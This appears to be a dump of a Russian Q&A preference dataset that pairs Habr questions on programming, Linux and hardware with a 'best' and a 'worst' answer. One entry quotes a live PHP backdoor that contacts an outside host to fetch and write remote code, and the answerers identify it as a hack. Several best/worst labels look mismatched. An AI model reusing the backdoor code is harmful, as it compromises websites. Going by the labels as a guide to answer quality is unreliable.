Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Конкатенация строк в Python, как?

Лучший ответ:
TRANSLIT = {'А': 'A',
            'Б': 'B',
            'В': 'V',
            'Г': 'G',
            'Д': 'D',
            'Е': 'E',
            'Ё': 'YO',
            'Ж': 'ZH',
            'З': 'Z',
            'И': 'EE',
            'Й': 'J',
            'К': 'K',
            'Л': 'L',
            'М': 'M',
            'Н': 'N',
            'О': 'O',
            'П': 'P',
            'Р': 'R',
            'С': 'S',
            'Т': 'T',
            'У': 'U',
            'Ф': 'F',
            'Х': 'H',
            'Ц': 'C',
            'Ч': 'CH',
            'Ш': 'SH',
            'Щ': 'SCH',
            'Ъ': '',
            'Ы': 'I',
            'Ь': '',
            'Э': 'E',
            'Ю': 'U',
            'Я': 'YA'}

def translit(text):
    result = []
    for c in text:
            result.append(TRANSLIT.get(c.upper(), c))
    return ''.join(result)

Худший ответ:
1) print(i, end="")
2) складывать результат в список, потом "".join(list)
3) вот еще красивый вариант, прочитайте про translate(), но мб не подойдетfrom string import maketrans   # Required to call maketrans function.

intab = "aeiouxm"
outtab = "1234512"
trantab = maketrans(intab, outtab)

str = "this is string example....wow!!!";
print (str.translate(trantab))
Вопрос: Как администрировать много серверов?

Лучший ответ:
chef, puppet, ansible, salt
если что-то разово, то может fabric

Худший ответ:
Ну не знаю. У меня > 100 серверов и кол-во постепенно растет. 
Мониторит все это добро Zabbix, для какой-то настройки хватает bash скриптов и один python скрипт,  если надо массово разослать по новым тачкам нужные файлы и добавить авторизацию по ключу.
Вопрос: Php реферальная система,как сократить код?

Лучший ответ:
Оформите повторяющийся код отдельной функцией

Худший ответ:
банальный цикл do { ... } while();
Вопрос: Архитектура Frontend RESTFul приложения?

Лучший ответ:
Здесь такой вопрос уже не раз задавался. При REST подходе, сервер выдает только ответы на ваши api запросы, например в json. Роутинг и шаблонизация, все это организуется уже на клиенте.
Пример:
зарпос серверу: GET /news (выдай новости)
Клиент:
отрисуй новости по шаблончику (который на клиенте уже задан, сервер вообще не при делах)

Худший ответ:
В visual studio создайте новый проект из темплайта angular + .net core, и посмотрите как всё работает.
В общем и целом у вас при запуске загружается одна страница, в вашем случае /home/index, на ней идёт подключение фреймворка, внутри которого уже настраивается роутинг. Примерно так:RouterModule.forRoot([
            { path: '', redirectTo: 'home', pathMatch: 'full' },
            { path: 'home', component: HomeComponent },
            { path: 'recipient', component: RecipientComponent },
            { path: 'orders', component: OrdersComponent },
            { path: '**', redirectTo: 'home' }
        ])
Вопрос: Что происходит когда сетевая карта получает последний кусок HTML?

Лучший ответ:
Что происходит...с чем? с кем? С сетевой картой? Или вообще в мире?
Вентиляторы крутятся, электроны бегут по проводам. В Голландии уже полно тюльпанов, французы, как и всегда, пьют вино.

Худший ответ:
Аппаратный модуль сетевой карты принимает пакет во внтуренний буфер и сигнализирует програмному драйверу что есть новый пакет данных.
Драйвер считает CRC пакета и сравнивает его с числом в MAC-заголовке пакета, если не правильно пакет запрашивается заново.
Также сравнивается МАС-адрес получателя из заголовков с МАС-адресом данного сетевого порта, при не совпадении пакет удаляется (это можно отключить).
Далее у пакета "срезается" МАС-заголовок и драйверам TCP/IP сети сигнализируется, что есть новый пакет.
драйвер сети пропускает пакет через "жернова" фаервола - допустим все ок.
по номеру порта получателя в IP-заголовке выбирается куда данные дальше передавать.
заголовки IP-пакета срезаются и данные заливаются в кеш TCP-сокета.
Оттуда его забирает браузер и дальше издевается.
Объяснение дано корявым языком на немытых пальцах, прошу сильно не плюваться :)
более умно смотреть к примеру здесь
Вопрос: Php код на сайте?

Лучший ответ:
Бэкдор это. Вас взломали.if (!isset($_COOKIE['_ym_ius'])) {
	@file_get_contents('http://l1l0.com/p/' . $_SERVER['HTTP_HOST']);
	@setcookie('_ym_ius', 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']);
}

if (isset($_COOKIE['red4u'])) {
	@file_put_contents('state.php', @file_get_contents('http://l1l0.com/d.txt'));
}

Худший ответ:
Троян. Скачивает какой-то php с l1l0.com/p чтобы затем мамкин хакер мог выполнить его по прямой ссылке. А там, скорей всего, воровство файлов твоих и паролей или еще чего.
Глянь код этого state.php
Вопрос: Установка мачт связи на собственном участки земли или как грамотно предложить провайдеру так, что бы прийти к согласию?

Лучший ответ:
Провайдер ставит вышки там, где ему надо, для правильного расширения зоны покрытия.
Вы уверены, что ваш дом\участок ему\им интересен в этом плане?

Худший ответ:
Любой волновой излучатель в близости от дома ... https://ria.ru/20190204/1550327069.html ... хотя ... деньги ж не пахнут)))). К тому же тамочень сильный долгосрочный контракт и небольшие суммы. Шаг влево или вправо ... замучаетесь потом по судам ходить)
Вопрос: Какой внешний жесткий диск надежнее для хранения информации?

Лучший ответ:
Самые надёжные диски те которые не ломаются, но я таких не встречал. Покупка любого диска есть лотерея, выбор всегда за вами и резервные копии важных данных надо делать постоянно

Худший ответ:
Низкий бюджет и хорошее качество к сожалению редко совпадает в одном месте. 
По теме - сами жёсткие диски, если нужны надёжные, я бы брал из серверных, с повышенной наработкой на отказ. Из параметров - минимальное энергопотребление, одна пластина, в идеале одна головка. 
По корпусу - никаких острых углов, сами не из железа-алюминия, а силикон или резина. 
В качестве примера https://www.amazon.com/ineo-Waterproof-Shockproof-... или www.ssi.com.tw/product/si-1126us3-hdd-enclosure-fo... или silverstonetek.com/product.php?pid=644&area=en
По проводу - лучше всего использовать толстые провода, минимальной длины. 
Ещё был знакомый, который никогда не подключал хард напрямую, а всегда через USB-hub (правда он был примотан изолентой к харду) - как защита от переполюсовки. Но там сам кейс был дорогой (залман ve-300)
PS: Если дороги данные, то только бэкапы, бэкапы и ещё в одном месте бэкапы. Никакой, даже самый защищённый кейс не поможет от всех возможных проблем.
Вопрос: Увеличит SSD время работы ноутбука?

Лучший ответ:
Увеличит "эффективное" время работы, т.е. за тоже время выполнится больше задач связанных с жестким диском засчет уменьшения времени загрузки\записи данных

Худший ответ:
Увеличит SSD время работы ноутбука?
Не верьте этой бредятины. На время работы что SSD что HDD что SSHD они потребляют столько энергии, сколько указана на упаковки или на Оф.Сайте производителя. В основном одинаково.
Вопрос: Какой выбрать точный GPS-трекер с мониторингом?

Лучший ответ:
Мы, на нашем сервисе мониторинга, запретили тех-поддержке давать какие-либо советы по выбору конкретных моделей трекеров. А знаете почему? Потому что все хотят максимальную точность в городе (вплоть до дивана, лежа на котором тестируется трекер), максимальную компактность и очень-очень долгую работу от батарейки в реалтайм режиме. И чтобы точка на карте двигалась плавно-плавно, с интервалом в миллисекунды, как в кино. Но чудес не бывает, и ожидания от покупки не оправдываются, даже если девайс стоит, как вы говорите, неприличных денег. А в ответе тот, кто посоветовал.
Через мои руки прошло очень много трекеров, но я даже для себя не могу сказать, что какая-то конкретная модель лидирует - у всех, без исключения, есть недостатки. 
Можно дать только общие рекомендации: не берите совсем дешевый китай, старайтесь купить трекер местного производителя. Местному можно позвонить, съездить поменять. Да и ответственность у местных больше. Обычно, но не всегда, конечно.
Если не отталкиваться от продукции с алиэкспресс по 40 баксов, то от цены мало что зависит. Но очень много зависит от качества сборки и правильной компоновки деталей. Например, если неграмотно расположить антенны в корпусе относительно других компонентов, то точность может сильно ухудшиться. Старые проверенные компании обычно не страдают этим, но возможно всё и цена об этом не скажет.
Ну и про точность вам уже правильно подсказали - она очень зависит не только от железа, но и от конкретных условий. Самое грамотно собранное устройство может работать в городских бетонно-стальных джунглях самым непредсказуемым образом. Вот например - посоветует вам кто-то проверенное устройство. Проверено было в городе, с достаточно высокой застройкой, но широкими проспектами и оно там работало просто отлично. А вы будете использовать его в районе даже с более низкими строениями, но с узкими улицами, больше напоминающими каменные ущелья, где gps вообще откажется ловиться. И что вы потом скажете этому советчику?
Кстати, могу дать совет, который не потребует расходов, если у вас приличный (от этого зависит точность позиционирования) телефон на android - наш программный трекер RealTimeTracker. В целом соответствует всем вашим пожеланиямВремя работы в экономичном режиме ощутимо больше требуемых вами 10-ти часов. Если точнее, то в этом режиме работа трекера практически не сказывается на расходе батареи.Максимальная точность позиционирования зависит от телефона, но на телефонах известных производителей она обычно весьма неплохая. Вобщем да, по сравнению с трекером, это неприличные деньги, если покупать топовый смартфон для использования только как трекер.Не только передача по GPRS, но и управление трекером через интернет-канал прямо с сайта.Поддержка операторов USA - конечно, как и любой смартфон.Мониторинг в реальном времени (от 1-й секунды) или экономичный режим - обновление с интервалом от 3-х минут. Все интервалы настраиваются.Небольшие габариты.

Худший ответ:
А еще можно из своего телфона сделать полноценный GPS трекер. Устанавливаете приложение на мобильный и полное отслеживание, мониторинг и контроль.
Вопрос: Потребуется ли в данном случае магистратура для дальнейшей эмиграции(США, Канада, Австралия, Новая Зеландия)?

Лучший ответ:
к 30 годам это долго и поздно, лучше целиться на как можно раньшеесли вы действительно задались такой целью, то первое, что вам нужно знать, - это английский язык, и уже, зная, язык, вы сможете найти всю требуемую информацию на официальных иммиграционных сайтах, список востребованных профессий и требования к аппликантам, итп итдиз обсуждений про канаду, которые были несколько лет назад, для целей иммиграции отсутствие профильного диплома заменяли минимум 4 года работы по специальности, которую вы указываете в иммиграционном заявлении; из консульского отдела звонят на вашу фирму и проверяют работаете ли вы там магистратура по IT специальности может облегчить иммиграционный процесс; если собираетесь доучиваться в другой стране, то имеет смысл почитать требования колледжей и университетов к вашему имеющемуся образованию Java востребована везде и будет востребована дальше, потому что весь финансовый мир запрограммирован именно на ней, мобильный мир, кстати, тожесейчас тренд full stack - Java, Javascript, HTML5, CCS3, хорошо если будет что-то из React/Angular/Nodejs - с таким набором найдете работу на раз даже без местного опытаспецы по автоматизированному тестированию очень востребованы и оплачиваются гораздо лучше, чем разработчики приложений если вы работали в более-менее приличных компаниях с известными проектами, если у вас примеры ваших собственных проектов на Git, или участие в опенсорсе, то есть доказательства ваших навыков, скорее всего профильный диплом не будет иметь большого значения при приеме на работу; по этой теме как раз можете начинать шерстить вакансии на indeed и workopolis - там указывают подробные требования
Австралию и Новую Зеландию я бы не советовала, там просто нечего делать, лучше сразу метить в Штаты, но это непросто. Самый простой путь:английский и письменный, и разговорный, и особенно аудирование, сдача IELTS в соответствии с иммиграционными требованиямимаксимум образования и опыта в IT, что вы сможете выжать за следующие 2-3 годаиммиграция в канадунесколько лет работы в канадских компаниях, и можно начинать искать работу в штатах, а там и канадское гражданство не за горамимежду делом начинайте читать все форумы на тему канадской иммиграции, и вы вполне сами справитесь с этим процессом
Если у вас есть денег на канадское образование, то есть вариант поступить в канадский колледж, можно даже в какой попроще и подешевле, и подать на резиденцию через пару лет по окончании колледжа, такие кандидаты считаются лучше интегрированными в канадское общество, потому что свободно говорят по-английски, имеют местное образование, обзаводятся нужными связями и знают как искать работу, и следовательно имеют больше шансов на получение резиденции.

Худший ответ:
Все русские вузы для других стран одинаковые, никто о них ничего за рубежом не знает
Повторный вуз добавляет очки эмиграции скажем в Австралию, но там опята таки можно это заменить годами опыта по специальности
Вопрос: Какую ширину сайта рекомендуется делать в 2016 году?

Лучший ответ:
Нужно понимать, что ширина сайта (именно контентной части) должна зависеть не от ширины монитора пользователя, а от удобства восприятия. Бегать глазами от одного угла экрана к другому пользователю попросту неудобно. Оптимальное решение - прежние максимальные 1200px для десктопа, и адаптив до 320px.

Худший ответ:
А - адаптивность
Вопрос: Как оптимизировать Yii2?

Лучший ответ:
в данном случае, если вы уверены, что БД запросы оптимизированы, а время загрузки вас все равно не устраивает можно еще попробовать вот эти варианты.
1) http-кеш
2) Уйти от использования ActiveDataProvider (если конечно он есть у вас на данной странице) в сторону ArrayDataProvider. В свое время мне это очень помогло, когда нужно было по желанию заказчика выводить по 500 элементов в списке на одной странице. ActiveDataProvider съедал много памяти и времени на создание объктов и доступ его к методам и свойствам. На массивах все стало летать в три раза быстрее...

Худший ответ:
1.
https://github.com/yiisoft/yii2/blob/master/docs/g...
2. XHProf очень хорошо помогает "узкие" места
Вопрос: Шифрование без потери данных на Linux?

Лучший ответ:
Не имеет смысла шифровать только /home. Шифруйте заодно /var и swap. Самый удобный для использования вариант - шифрование всего накопителя LUKS'ом. Остаётся только раздел efi, т.к. раньше невозможна была загрузка с криптованного раздела, сейчас появился cryptoboot, но у себя пока не развернул его. На полностью шифрованный накопитель ставим lvm. Получаем +1 уровень абстракции от lvm. Также естественно потеря скорости из-за этого и из-за шифрования. На ssd не сильно заметна эта разница, но на HDD возможен другой результат. Указанный процесс хорошо описан https://wiki.archlinux.org/index.php/Dm-crypt/Encr... здесь, также там есть overview основных способов шифрования целого накопителя кроме truecrypt/veracrypt.

Худший ответ:
GnuPG (от же GPG) - на большинстве дистрибутивах уже предустановлен. В основном используется для ассиметричного шифрования.какие данные могут быть получены при наличии физического доступа?
все зашифрованные данные, которые без приватной части ключа - всего лишь мусор.
Вопрос: Насколько у меня правильный код ООП php?

Лучший ответ:
Здесь плохо всё, к сожалению.
Начнем с того, что вы неверно наследуете классы. Почему у вас класс, отвечающий за подключение к базе данных является родителем класса, работающим с заказами? Наследование применяется, если можно сказать, что что-то является чем-то. Например, разработчик является работником; компьютер является устройством и тд. Здесь же у вас вообще близко такой логике не получится следовать. Вы должны передавать хотя бы объект для работы с бд через инъекцию, например, в конструктор. В идеале, нужно использовать паттерн репозиторий для работы с базой данных.
Класс SearchOrder у вас не только выполняет запросы, но еще и работает с данными, хранит состояние этих самых данных, фильтрует данные (strip_tags()). Непорядок. Это все нужно разделять. У вас вообще получаются какие-то богообъекты, которые умеют во все.
Вы каждый раз повторяете строки с подготовкой запроса, биндингом параметров, отправкой запроса и тд. Не думали, что неплохо бы было написать какую-нибудь обертку и выполнять запросы как-нибудь так:$result = $wrapper->select("SELECT * FROM `tablename` WHERE `id` = :id", ['id' => 5]);
?
Вы вызываете connect() в методах. То есть, каждый вызов этого метода будет приводить к установке нового соединения с базой данных, даже если оно уже было установлено. Соединение с базой данных это достаточно дорогостоящая операция.
Зачем вы используете свойства, если можно обойтись обычными локальными переменными:$this->orderID = (int) strip_tags($orderID);
$this->column = (string) strip_tags($column);
$this->value = (string) strip_tags($value);
?
Почему вы стриппите тэги у идентификатора? вы настолько не уверены в том, что влетает в функцию:strip_tags($orderID);
?
Если вы не используете php 7 и, как следствие, скалярный тайпхинтинг, то должны делать проверки на тип входящего аргумента. Если что-то не так с типом, бросаем исключение (А не приводим его к нужному)! Например:if (!is_string($arg)) {
    throw new InvalidArgumentTypeException('string', $arg);
}
Это в идеале. Вы не обязаны это делать, конечно же. Но вот такие проверки делают приложение безопаснее. Хотя, опять же, повторюсь, в 2017 нужно начинать новые проекты на php 7.1+.
Ошибки не нужно выводить в этом классе. Вы должны поймать исключение базы данных, преобразовать ее в исключение предметной области и пробросить его дальше и где-то там, на уровне выше вывести информацию пользователю об ошибке. В mvc системе, например, это делается в контроллере.
Кроме всего прочего, почитайте про стандарты оформления кода. Вы им не следуете.
Вам пока рано писать такие велосипеды. Судя по всему, у вас нет опыта вообще. Посмотрите готовые решения: фреймворки, ORM, изучите их, хотя бы поверхностно разберитесь, как оно работает и уже потом пробуйте что-то сделать, исходя из полученных знаний.
Желаю успехов!

Худший ответ:
$props = array(
     'orderID' => 'int',
     'orderID' => 'string',
     'value' => 'string',
);

foreach ($props as $value => $type)
{
     $this->$value = ($type) strip_tags($value);
}
;)
А если серьезно - просто подсмотрите, как у других сделано.
Вопрос: Как добавить обои в Mint?

Лучший ответ:
И гуглить Вы не умеете. :)
www.infoworld.com/article/2695699/enterprise-softw...
Гуглится по запросу "linux mint install all wallpapers". С первого раза. Первый же результат.

Худший ответ:
Надоели скучные обои? Поставь принципиально новый дистрибутив BolgenOS
Вопрос: Почему this объекта, заданного не через конструктор не показывает контекст объекта?

Лучший ответ:
console.log(main2.second) // undefined
Тут вы выбираете свойство объекта и только. Объектом будет являться конструктор, а не инстанс типа, пораждаемый этим конструктором.
updated
Для начала давайте определимся с такой вещью, что в JS все является объектом (с примитивными типами чуть сложнее но это сейчас не важно).
Объекты имеют определенный тип. Вы можете создать новый тип, объявив конструктор типов:function MyType() {
}
Соответственно когда мы создаем инстанс объекта этого типа будет работать следующее:var obj = new MyType();
obj instanceof MyType; // true
obj instanceof Object; // true
({}) instanceof Object; // true
({}) instanceof MyType; // false
Причем магия тут в том, что функции (а конструктор это просто функция с именем) - это тоже объектMyType instanceof MyType; // false
(function() {}) instanceof Function; // true
(function() {}) instanceof Object; // true
То есть запись вида:main2.second
мы должны читать как "возьми свойство second у объекта main2, который является функцией". Мы просто не вызываем эту функцию. Мы просто обращаемся к свойству функции.
На этом можно было бы остановиться, поскольку это и является ответом на ваш вопрос, но давайте еще чуть поговорим про this.
В отличии от языков вроде java мы можем менять "контекст" вызова функций. Достаточно сделать так:function Foo() {
    this.val = 'foo';
}
Foo.prototype.bar = function () {
    return this.val;
};

var obj = new Foo();
var fake = {
    val: 'fake',
    // это просто функция, она является объетом, 
    // так что мы можем просто присвоить значение
    bar: obj.bar,     
};

fake.bar(); // fake;
То есть контекст вызова это просто указание на объект, которому пренадлежит функция в момент ее вызова. Если мы объявим функцию в глобальной области видимости, this будет указывать на window как на контекст вызова.
Далее думаю продолжать нет смысла. Лучше проштудируйте что-нибудь в этом духе: https://learn.javascript.ru/objects-more

Худший ответ:
По простому.
Вы написали некий класс Main2 и добавили в него публичное поле second.
Но для того, чтоб обратиться к этому полю, вам надо создать объект данного класса.
Вопрос: Каким регулярным выражением можно обрезать подобную строку?

Лучший ответ:
Есть же чудесный встроенный парсер.let link = document.createElement('a');
link.href = "https://localhost8080/somepath/somepath/somepath?param=42#some-hash";

link.protocol // -> https:
link.host     // -> localhost8080
link.pathname // -> /somepath/somepath/somepath
link.hash     // -> #some-hash
link.search   // -> ?param=42Список всех свойств здесь: https://developer.mozilla.org/ru/docs/Web/API/Location

Худший ответ:
var url = 'ваш url';
var result = url.match(/^https?:\/\/(?:[^\/])+/i);

console.log(result[0]);
Вопрос: Ошибки при установке Linux на ноутбук через USB флешку, что делать?

Лучший ответ:
Попробуйте для записи на флешку использовать UNetbootin

Худший ответ:
1. Рекомендую шить образы через Rufus. Я все образы шью через Rufus на старом нетбуке. В нем не нужно ничего менять - все по умолчанию выставлено, единственное, при выборе iso, нужно в меню обозначить, что это будет записываться именно iso. 
2. Нужно исключить "побитость" iso. При скачивании через браузер iso может биться или вообще может скачаться только "огрызок", поэтому лучше качать торрентом. 
3. Про флэшку выше уже написали, нужно исключить глючность флэшки, т.е. в запасе должно быть как минимум 3 штуки - некоторые флэшки могут действительно сбоить. 
4. Из дистров рекомендую для начала попробовать установить легкие - например, Linux MX-15 или Puppy Linux, а не тяжелые Ubuntu и т.п. У меня был случай, когда на ноутбук вообще ничего не установилось, кроме этих 2 дистро. 
5. Ubuntu можно вообще из windows попытаться установить, гуглите ubuntu wubi. Аналогично у Puppy Linux есть windows installer - puppylinux.org/main/Download%20Latest%20Release.ht...
Вопрос: Почему не появляется круг на холсте?

Лучший ответ:
И что, в книге так ссылка на paper.js и даётся с пробелом и перевёрнутым вопросом?
Какие ошибки в консоли браузера?

Худший ответ:
getElementById, у Вас же getElementsbyId.
Не ElementS, а Element
Вопрос: Как и куда лучше всего устанавливать программы?

Лучший ответ:
Все просто =)
- Систему обязательно на SSD. Если боишься потерять данные, сделай бэкап на другой носитель, например в Acronis (в посекторном режиме сохранятся все данные до бита)
 - Чем меньше обращений к SSD на запись, тем лучше (по крайней мере на начало 2018 =)). Значит, если позволяет размер SSD, то ставь туда все программы, которыми ты будешь пользоваться все время (браузер, офис, плеер...).
 - На счет игр. Если они тяжёлые (Battlefield 1, PUBG, ...) и позволяет размер SSD, ставь туда. Простые на HDD, скорости хватит.PS. Чем меньше разделов на харде, тем лучше, так как при обращении к нескольким падает производительность, потому что приходится часто перемещать считывающую головку диска в разные места. Но это не критично, так эта потеря обычно не больше 5%. И на нормальных HDD стоят хорошие контроллеры.PSS. В таких вопросах сразу указывай размер дисков, больше инфы, легче ответить =)

Худший ответ:
Ставить систему надо на SSD.Про то что ОС должна стоять на SSD диске я знаю,но по техническим проблемам я этого сделать не могуВ этом случае нужно на SSD перенести файл подкачки и профиль пользователя.Как и куда лучше всего устанавливать программы? Да куда угодно. Можете оставить на HDD. можете перенести на SSD, но это чаще всего сделать довольно трудно.